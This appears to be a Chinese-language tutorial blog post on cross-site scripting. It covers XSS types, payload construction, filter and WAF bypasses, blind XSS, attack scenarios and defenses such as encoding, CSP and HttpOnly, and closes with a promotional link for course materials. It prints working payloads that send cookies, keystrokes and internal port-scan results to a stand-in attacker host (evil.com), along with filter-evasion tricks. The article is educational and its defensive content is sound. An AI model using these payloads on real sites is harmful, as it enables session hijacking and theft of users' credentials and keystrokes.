📌写在前面
“XSS到底有什么危害?”“怎么绕过XSS过滤?”“存储型XSS怎么利用?”
XSS(跨站脚本)是Web安全中最常见的漏洞之一。在OWASP Top 10中一直名列前茅。很多人觉得XSS"只是弹个框框",但实际上,一个利用得当的XSS可以窃取Cookie、劫持用户会话、甚至直接获取服务器权限。
我第一次挖到XSS是在一个留言板功能中,输入<script>alert(1)</script>后刷新页面就弹窗了。当时觉得太简单了,后来深入学习才知道——从"弹框"到"真正利用"之间还有很多技术细节。
今天我把XSS的完整知识整理出来:原理分类、Payload构造、绕过技巧、实战利用、防御方案。看完这篇,你对XSS会有一个系统化认知。
⚠️ 注意:本文仅用于授权的安全测试和教育目的,严禁用于非法用途。
一、XSS基础
什么是XSS
💡 XSS(Cross-Site Scripting)是指攻击者将恶意JavaScript代码注入到Web页面中,当其他用户浏览该页面时,恶意代码在用户浏览器中执行,从而窃取Cookie、劫持会话或执行恶意操作。
XSS危害
| 危害 | 说明 | 利用方式 |
|---|---|---|
| 窃取Cookie | 获取用户会话凭证 | document.cookie |
| 会话劫持 | 冒充用户操作 | 使用窃取的Cookie |
| 键盘记录 | 记录用户输入 | onkeydown事件 |
| 钓鱼 | 伪造登录框 | DOM修改 |
| 挂马 | 植入恶意代码 | iframe/redirect |
| XSS蠕虫 | 自我传播 | 存储型XSS+自动提交 |
| 内网探测 | 扫描内网端口 | fetch/XMLHttpRequest |
| 命令执行 | 结合其他漏洞 | XSS+CSRF+RCE |
二、XSS三大类型
1. 反射型XSS
恶意代码在URL参数中,服务器将其"反射"到响应页面中。需要用户点击恶意链接才能触发。
// 漏洞代码$name=$_GET['name'];echo"<h1>欢迎,$name</h1>";// 正常访问?name=张三 →<h1>欢迎,张三</h1>// XSS攻击?name=<script>alert(1)</script>→<h1>欢迎,<script>alert(1)</script></h1>特征:
| 特性 | 说明 |
|---|---|
| 触发方式 | 用户点击恶意链接 |
| 代码位置 | URL参数中 |
| 持久性 | 非持久(需每次点击) |
| 危害等级 | 中(需社工诱导) |
2. 存储型XSS
恶意代码被存入数据库,当其他用户访问页面时自动触发。无需用户点击特定链接。
// 漏洞代码 - 留言板$message=$_POST['message'];// 直接存入数据库mysqli_query($conn,"INSERT INTO messages (content) VALUES ('$message')");// 展示留言时$result=mysqli_query($conn,"SELECT content FROM messages");while($row=mysqli_fetch_assoc($result)){echo"<div class='message'>".$row['content']."</div>";}攻击过程:
1. 攻击者提交恶意留言:<script src=//evil.com/x.js></script> 2. 恶意内容存入数据库 3. 普通用户访问留言板 4. 服务器输出恶意代码 5. 用户浏览器执行恶意JS 6. 攻击者获取用户Cookie特征:
| 特性 | 说明 |
|---|---|
| 触发方式 | 自动触发(用户访问页面) |
| 代码位置 | 数据库中 |
| 持久性 | 持久(存入数据库) |
| 危害等级 | 高(无需社工) |
3. DOM型XSS
恶意代码不经过服务器,完全在前端JavaScript中处理,通过修改DOM结构触发。
// 漏洞代码varhash=location.hash.slice(1);document.getElementById("output").innerHTML="搜索: "+hash;// 攻击URLhttp://example.com/search#<img src=x onerror=alert(1)>// 前端直接将hash写入DOM,触发XSS常见危险API:
| API | 说明 |
|---|---|
| innerHTML | 写入HTML |
| document.write() | 直接写文档 |
| eval() | 执行JS代码 |
| setTimeout/setInterval | 字符串参数执行 |
| location.href | 跳转控制 |
| jQuery.html() | HTML写入 |
三种类型对比
| 特性 | 反射型 | 存储型 | DOM型 |
|---|---|---|---|
| 代码位置 | URL参数 | 数据库 | URL片段 |
| 是否经过服务端 | 是 | 是 | 否 |
| 持久性 | 非持久 | 持久 | 非持久 |
| 触发条件 | 点击链接 | 访问页面 | 点击链接 |
| 危害 | 中 | 高 | 中 |
三、常用XSS Payload
基础Payload
<!-- 基础弹窗 --><script>alert(1)</script><!-- 事件触发 --><imgsrc=xonerror=alert(1)><svgonload=alert(1)><bodyonload=alert(1)><inputonfocus=alert(1)autofocus><!-- 伪协议 --><ahref="javascript:alert(1)">click</a><iframesrc="javascript:alert(1)"></iframe><!-- 编码绕过 --><script>alert(1)</script><script>\u0061\u006c\u0065\u0072\u0074(1)</script><img src=x onerror=eval(atob('YWxlcnQoMSk='))>Cookie窃取Payload
// 基础Cookie窃取<script>newImage().src="http://evil.com/log?c="+document.cookie;</script>// fetch方式<script>fetch("http://evil.com/log?c="+document.cookie);</script>// 带location跳转<script>location.href="http://evil.com/log?c="+document.cookie;</script>// 动态创建脚本<script>vars=document.createElement('script');s.src='http://evil.com/xss.js';document.body.appendChild(s);</script>键盘记录Payload
// 键盘记录器<script>varkeys='';document.onkeydown=function(e){keys+=e.key;if(keys.length>20){newImage().src='http://evil.com/log?k='+keys;keys='';}};</script>内网扫描Payload
// 通过XSS扫描内网<script>asyncfunctionscanPort(ip,port){try{awaitfetch(`http://${ip}:${port}/`,{mode:'no-cors',timeout:2000});newImage().src=`http://evil.com/scan?ip=${ip}&port=${port}&status=open`;}catch(e){// 端口关闭或超时}}// 扫描常见端口[22,80,443,3306,6379,8080].forEach(port=>{scanPort('192.168.1.1',port);});</script>四、WAF绕过技巧
1. 大小写混合
<ScRiPt>alert(1)</ScRiPt><IMGSRC=xOnErRoR=alert(1)>2. 编码绕过
| 编码方式 | Payload | 说明 |
|---|---|---|
| HTML实体 | <script>alert(1)</script> | j等十六进制 |
| 十进制 | <script>alert(1)</script> | 十进制编码 |
| Unicode | <script>\u0061lert(1)</script> | Unicode编码 |
| Base64 | <script>eval(atob('YWxlcnQoMSk='))</script> | Base64解码 |
| Hex | <img src=x onerror=\x61lert(1)> | 十六进制 |
3. 标签绕过
当<script>被过滤时:
<!-- 事件处理器 --><imgsrc=xonerror=alert(1)><svgonload=alert(1)><inputonfocus=alert(1)autofocus><detailsopenontoggle=alert(1)><selectonfocus=alert(1)autofocus><videosrc=xonerror=alert(1)><audiosrc=xonerror=alert(1)><marqueeonstart=alert(1)><!-- 伪协议 --><ahref=javascript:alert(1)>click</a><iframesrc=javascript:alert(1)><form><buttonformaction=javascript:alert(1)>X</button></form>4. 关键字绕过
当alert被过滤时:
// 函数构造window['al'+'ert'](1)window['al\x65rt'](1)top['al'+'ert'](1)self['al'+'ert'](1)// 函数调用alert``1``// 模板字符串window.alert(1)Reflect.apply(alert,null,[1])// 框架绕过throw'on'+'error'=alert(1)5. 空格绕过
<!-- 当空格被过滤 --><img/src=x/onerror=alert(1)> <img%09src=x%09onerror=alert(1)><!-- Tab --><img%0asrc=x%0aonerror=alert(1)><!-- 换行 --><img`src=x`onerror=alert(1)><!-- 反引号 --><img/src=x/onerror=alert(1)><!-- 斜杠 -->6. 长度限制绕过
<!-- 当输入长度有限制时 --><!-- 方法1:外部加载 --><scriptsrc=//evil.com/x.js></script><!-- 方法2:eval --><script>eval(name)</script><!-- 通过window.name传递长Payload --><!-- 方法3:注释拼接 --><script>/**/alert(1)/**/</script>五、盲打XSS
Blind XSS是指攻击者不确定Payload是否执行,通过向所有可能的输入点提交Payload,等待管理员触发。
常见盲打位置
| 位置 | 说明 | 触发场景 |
|---|---|---|
| 用户注册字段 | 用户名/昵称 | 管理员查看用户列表 |
| 反馈/投诉 | 反馈内容 | 管理员处理反馈 |
| User-Agent | 请求头 | 管理员查看日志 |
| Referer | 请求头 | 管理员查看统计 |
| 文件名 | 上传文件名 | 管理员查看文件列表 |
| API参数 | API请求 | 管理员查看监控 |
盲打Payload示例
// 带回传的盲打Payload<script>vars=document.createElement('script');s.src='http://evil.com/xss.js?'+document.cookie+'&loc='+location.href;document.body.appendChild(s);</script>// xss.js 回调内容// 如果管理员触发了,会加载这个JS并执行XSS平台使用
// 常见XSS平台Payload格式<script src=//xss.pt/xxxxx></script><script src=//xss9.com/xxxxx></script>// 平台功能:// 1. Cookie记录// 2. 会话截图// 3. 键盘记录// 4. 来源记录// 5. 内网探测六、XSS实战场景
场景1:评论区存储型XSS
POST /api/comment HTTP/1.1 Content-Type: application/json {"content": "<img src=x onerror=\"new Image().src='http://evil.com/log?c='+document.cookie\">"} // 如果后端未过滤直接存入数据库并展示,则构成存储型XSS场景2:搜索框反射型XSS
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1 // 如果搜索关键词直接回显在页面中,则构成反射型XSS场景3:URL参数DOM型XSS
// 前端代码varkeyword=newURLSearchParams(location.search).get('q');document.getElementById('result').innerHTML='搜索: '+keyword;// 攻击URL/search?q=<img src=x onerror=alert(1)>七、XSS防御方案
1. 输出编码(核心防御)
| 输出位置 | 编码方式 | 说明 |
|---|---|---|
| HTML正文 | HTML实体编码 | <→<>→> |
| HTML属性 | 属性编码 | "→"'→' |
| JavaScript | JS编码 | \→\\"→\" |
| URL | URL编码 | 在URL中参数编码 |
| CSS | CSS编码 | 少见但需注意 |
编码实现:
# Python HTML编码importhtmldefhtml_encode(text):returnhtml.escape(text,quote=True)# JavaScript编码defjs_encode(text):result=""forcharintext:result+=f"\\x{ord(char):02x}"returnresult// JavaScript前端编码functionhtmlEncode(str){returnstr.replace(/[&<>"']/g,function(m){return{'&':'&','<':'<','>':'>','"':'"',"'":'''}[m];});}2. CSP(内容安全策略)
# 严格CSP(推荐) Content-Security-Policy: default-src 'none'; script-src 'self' https://cdn.example.com; style-src 'self'; img-src 'self' data:; connect-src 'self'; base-uri 'self'; form-action 'self'; # 只允许同源脚本 Content-Security-Policy: script-src 'self' # 使用Nonce Content-Security-Policy: script-src 'nonce-r4nd0m123' <script nonce="r4nd0m123">alert(1)</script>3. HttpOnly Cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict| 属性 | 说明 |
|---|---|
| HttpOnly | JS无法读取Cookie |
| Secure | 只在HTTPS传输 |
| SameSite=Strict | 禁止跨站发送 |
4. 富文本过滤
当需要允许部分HTML(如评论区):
# 使用bleach库(Python)importbleach allowed_tags=['b','i','u','a','p','br']allowed_attrs={'a':['href','title']}clean=bleach.clean(user_input,tags=allowed_tags,attributes=allowed_attrs)5. 防御Checklist
| 检查项 | 是否完成 |
|---|---|
| 所有输出点进行编码 | ☐ |
| 配置CSP策略 | ☐ |
| Cookie设置HttpOnly | ☐ |
| 富文本使用白名单过滤 | ☐ |
| 禁用内联事件处理器 | ☐ |
| 使用安全框架(Vue/React自动转义) | ☐ |
| 输入验证(长度/格式) | ☐ |
| 定期安全扫描 | ☐ |
八、XSS与CSRF的区别
| 对比项 | XSS | CSRF |
|---|---|---|
| 攻击方向 | 注入恶意代码 | 伪造合法请求 |
| 目标 | 用户浏览器 | 服务端逻辑 |
| 需要用户操作 | 是(浏览页面) | 是(已登录状态) |
| 防御核心 | 输出编码+CSP | CSRF Token |
| 关系 | XSS可以绕过CSRF防御 | — |
💡 重要:如果存在XSS,攻击者可以通过JS读取CSRF Token,从而绕过CSRF防护。因此XSS防御优先级高于CSRF。
学习资源
XSS是Web安全的基础漏洞之一,虽然看似简单,但深入利用涉及编码绕过、DOM操作、浏览器安全策略等多方面知识。从基础弹窗到Cookie窃取,从反射型到存储型,每一种利用场景都需要不断练习。
如果你对网络安全和Web渗透感兴趣,想系统学习更多知识——包括XSS实战、OWASP Top 10漏洞、渗透测试全流程、CTF实战等——可以参考下面整理的完整学习资料包。
内容涵盖:
从零基础到实战进阶,200+节视频课程,配套工具和靶场环境,涵盖攻防对抗全生命周期。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
总结
| 维度 | 要点 |
|---|---|
| 原理 | 恶意JS注入到页面中执行 |
| 类型 | 反射型/存储型/DOM型 |
| 利用 | Cookie窃取/会话劫持/内网探测 |
| 绕过 | 编码/大小写/标签替换/事件 |
| 防御 | 输出编码+CSP+HttpOnly+白名单 |
🔒 XSS防御的核心是"永远不要信任用户输入"。每一个输出到页面的数据,都必须经过正确的编码。
————————————————